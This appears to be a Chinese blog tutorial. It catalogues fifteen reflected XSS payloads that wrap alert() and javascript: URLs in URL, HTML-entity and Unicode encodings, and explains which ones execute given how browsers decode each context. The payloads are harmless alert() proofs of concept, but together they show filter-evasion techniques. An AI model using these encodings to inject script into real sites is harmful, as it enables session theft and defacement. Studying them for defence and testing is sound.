反射型XSS的几种payload

目录

第一种:采用的是urlcode编码

第二种:前面用html实体编码,后面用urlcode编码

第三种:只对:使用urlcode编码

第四种:对<>进行html实体编码

第五种:textarea

第六种:和第五种一样

第七种:对'进行html实体编码

第八种:对'进行Unicode编码

第九种:对alert(9)进行html实体编码

第十种:对alert进行Unicode编码

第十一种:对alert(11)进行Unicode编码

第十二种:对alert和12进行Unicode编码

第十三种:对'进行Unicode编码

第十四种:在以下位置Unicode编码一个换行符\n

第十五种:先进行Unicode编码,再进行urlcode编码,最后进行html实体编码

总结:


第一种:采用的是urlcode编码

这里编码的就是javascript:alert(1)

复制代码
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>

可以发现并没有执行。因为在href里面不认识urlcode编码后的协议

第二种:前面用html实体编码,后面用urlcode编码
复制代码
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">

由于先进行html实体编码后变成:

复制代码
<a href="javascript:%61%6c%65%72%74%28%32%29">

再进行url解码就可以识别javascript协议

第三种:只对:使用urlcode编码
复制代码
<a href="javascript%3aalert(3)"></a>

同1,:冒号算协议一部分。

第四种:对<>进行html实体编码
复制代码
<div>&#60;img src=x onerror=alert(4)&#62;</div>

当进入数据状态中的字符引用时,确实可以将编码字符进行解码,但不会进入标签开始状态。所以html把它当成一个字符串,可以展示,但无法执行。

第五种:textarea
复制代码
<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>

因为<textarea>RCDATA元素(RCDATA elements),可以容纳文本和字符引用,注意不能容纳其他元素

第六种:和第五种一样
复制代码
<textarea><script>alert(6)</script></textarea>
第七种:对'进行html实体编码
复制代码
<button onclick="confirm('7&#39;);">Button</button>

这里的inclick与a标签的href差不多,可以被html解码。所以执行成功了

第八种:对'进行Unicode编码
复制代码
<button onclick="confirm('8\u0027);">Button</button>

执行失败,因为onclick中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示,'显然不行

第九种:对alert(9)进行html实体编码
复制代码
<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>

由于script属于原始文本元素(Raw text elements),只可以容纳文本 ,注意没有字符引用,于是直接由JS处理,JS也认不出来,所以执行失败。

原始文本元素(Raw text elements)有<script><style>。

第十种:对alert进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

因为只有标识符,所以JS可以识别执行。

第十一种:对alert(11)进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

因为JS中只有字符串和标识符能用Unicode表示,所以执行失败。

第十二种:对alert和12进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

执行失败,虽然这里可以被解码,但是12被解码出来是字符串,需要引号包含。

第十三种:对'进行Unicode编码
复制代码
<script>alert('13\u0027)</script>

肯定执行失败,同8

第十四种:在以下位置Unicode编码一个换行符\n
复制代码
<script>alert('14\u000a')</script>

执行成功。

第十五种:先进行Unicode编码,再进行urlcode编码,最后进行html实体编码
复制代码
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

符合web的解码顺序,所以可以被执行。

总结:
  1. <script><style>数据只能有文本,不会有HTML解码和URL解码操作

  2. <textarea><title>里会有HTML解码操作,但不会有子元素

  3. 其他元素数据(如div)和元素属性数据(如href)中会有HTML解码操作

  4. 部分属性(如href)会有URL解码操作,但URL中的协议需为ASCII

  5. JavaScript会对字符串和标识符Unicode解码

根据浏览器的自动解码,反向构造 XSS Payload 即可

相关推荐
刘发财15 分钟前
弃用html2pdf.js,这个html转pdf方案能力是它的几十倍
前端·javascript·github
牛奶3 小时前
2026年大模型怎么选?前端人实用对比
前端·人工智能·ai编程
牛奶3 小时前
前端人为什么要学AI?
前端·人工智能·ai编程
Kagol5 小时前
🎉OpenTiny NEXT-SDK 重磅发布:四步把你的前端应用变成智能应用!
前端·开源·agent
GIS之路6 小时前
ArcGIS Pro 中的 notebook 初识
前端
JavaGuide7 小时前
7 道 RAG 基础概念知识点/面试题总结
前端·后端
ssshooter7 小时前
看完就懂 useSyncExternalStore
前端·javascript·react.js
格砸8 小时前
从入门到辞职|从ChatGPT到OpenClaw,跟上智能时代的进化
前端·人工智能·后端
Live000008 小时前
在鸿蒙中使用 Repeat 渲染嵌套列表,修改内层列表的一个元素,页面不会更新
前端·javascript·react native
柳杉8 小时前
使用Ai从零开发智慧水利态势感知大屏(开源)
前端·javascript·数据可视化